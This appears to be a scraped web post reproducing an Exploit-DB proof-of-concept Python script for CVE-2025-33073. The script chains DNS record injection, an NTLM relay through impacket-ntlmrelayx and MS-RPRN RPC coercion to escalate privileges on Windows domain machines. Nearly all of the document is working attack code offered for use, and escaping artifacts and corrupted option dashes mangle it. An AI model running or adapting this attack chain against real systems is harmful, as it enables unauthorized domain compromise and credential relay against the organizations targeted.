\n#!\/usr\/bin\/env python3
\n
# Exploit Title: Windows 11 SMB Client – Privilege Escalation & Remote Code Execution (RCE)
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# Author: Mohammed Idrees Banyamer
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# Instagram: @banyamer_security
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# GitHub: https:\/\/github.com\/mbanyamer
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# Date: 2025-06-13
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# Tested on: Windows 11 version 22H2, Windows Server 2022, Kali Linux 2024.2
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# CVE: CVE-2025-33073
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# Type: Remote
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# Platform: Microsoft Windows (including Windows 10, Windows 11, Windows Server 2019\/2022\/2025)
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# Attack Vector: Remote via DNS injection and RPC coercion with NTLM relay
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# User Interaction: Required (authenticated domain user)
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# Remediation Level: Official Fix Available
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#
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# Affected Versions:
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# – Windows 11 versions 22H2, 22H3, 23H2, 24H2 (10.0.22621.x and 10.0.26100.x)
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# – Windows Server 2022 (including 23H2 editions)
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# – Windows Server 2019
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# – Windows 10 versions from 1507 up to 22H2
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# – Windows Server 2016 and 2008 (with appropriate versions)
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#
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# Description:
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# This PoC demonstrates a complex attack chain exploiting improper access control in Windows SMB clients,
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# leading to elevation of privilege through DNS record injection, NTLM relay attacks using impacket-ntlmrelayx,
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# and coercion of a victim system (including Windows 11) to authenticate to an attacker-controlled server
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# via MS-RPRN RPC calls. The exploit affects multiple Windows versions including Windows 11 (10.0.22621.x),
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# Windows Server 2022, and earlier versions vulnerable to this method.
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#
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#
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# Note: The exploit requires the victim to be an authenticated domain user and the environment
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# must not have mitigations like SMB signing enforced or Extended Protection for Authentication (EPA).
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#
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# DISCLAIMER: For authorized security testing and educational use only.<\/p>\n
import argparse
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import subprocess
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import socket
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import time
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import sys<\/p>\n
def inject_dns_record(dns_ip, dc_fqdn, record_name, attacker_ip):
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print(“[*] Injecting DNS record via samba-tool (requires admin privileges)…”)
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cmd = [
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“samba-tool”, “dns”, “add”, dns_ip, dc_fqdn,
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record_name, “A”, attacker_ip, “–username=Administrator”, “–password=YourPassword”
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]
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try:
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subprocess.run(cmd, check=True)
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print(“[+] DNS record successfully added.”)
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except subprocess.CalledProcessError:
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print(“[!] Failed to add DNS record. Check credentials and connectivity.”)
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sys.exit(1)<\/p>\n
def check_record(record_name):
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print(“[*] Verifying DNS record propagation…”)
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for i in range(10):
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try:
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result = socket.gethostbyname_ex(record_name)
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if result and result[2]:
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print(f”[+] DNS record resolved to: {result[2]}”)
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return True
\n
except socket.gaierror:
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time.sleep(2)
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print(“[!] DNS record did not propagate or resolve.”)
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return False<\/p>\n
def start_ntlmrelay(target):
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print(“[*] Starting NTLM relay server (impacket-ntlmrelayx)…”)
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try:
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subprocess.Popen([
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“impacket-ntlmrelayx”, “-t”, target, “–no-smb-server”
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])
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print(“[*] NTLM relay server started.”)
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except Exception as e:
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print(f”[!] Failed to start NTLM relay server: {e}”)
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sys.exit(1)<\/p>\n
def trigger_coercion(victim_ip, fake_host):
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print(“[*] Triggering victim to authenticate via MS-RPRN RPC coercion…”)
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cmd = [
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“rpcping”,
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“-t”, f”ncacn_np:{victim_ip}[\\\\pipe\\\\spoolss]”,
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“-s”, fake_host,
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“-e”, “1234”,
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“-a”, “n”,
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“-u”, “none”,
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“-p”, “none”
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]
\n
try:
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subprocess.run(cmd, check=True)
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print(“[+] Coercion RPC call sent successfully.”)
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except subprocess.CalledProcessError:
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print(“[!] RPC coercion failed. Verify victim connectivity and service status.”)
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sys.exit(1)<\/p>\n
def main():
\n
parser = argparse.ArgumentParser(description=”Windows 11 SMB Client Elevation of Privilege PoC using DNS Injection + NTLM Relay + RPC Coercion”)
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parser.add_argument(“–attacker-ip”, required=True, help=”IP address of the attacker-controlled server”)
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parser.add_argument(“–dns-ip”, required=True, help=”IP address of the DNS server (usually the DC)”)
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parser.add_argument(“–dc-fqdn”, required=True, help=”Fully qualified domain name of the domain controller”)
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parser.add_argument(“–target”, required=True, help=”Target system to relay authentication to”)
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parser.add_argument(“–victim-ip”, required=True, help=”IP address of the victim system to coerce authentication from”)
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args = parser.parse_args()<\/p>\n
record = “relaytrigger”
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fqdn = f”{record}.{args.dc_fqdn}”<\/p>\n
inject_dns_record(args.dns_ip, args.dc_fqdn, record, args.attacker_ip)
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if not check_record(fqdn):
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print(“[!] DNS verification failed, aborting.”)
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sys.exit(1)<\/p>\n
start_ntlmrelay(args.target)
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time.sleep(5) # Wait for relay server to be ready<\/p>\n
trigger_coercion(args.victim_ip, fqdn)<\/p>\n
print(“[*] Exploit chain triggered. Monitor ntlmrelayx output for authentication relays.”)<\/p>\n
if __name__ == “__main__”:
\n
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Windows 11 SMB Client – Privilege Escalation & Remote Code Execution (RCE) Exploit ID EDB-ID:52330 Type exploitdb Published 2025-06-15T00:00:00…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,40,15,13,7,11,5],"class_list":["post-6868","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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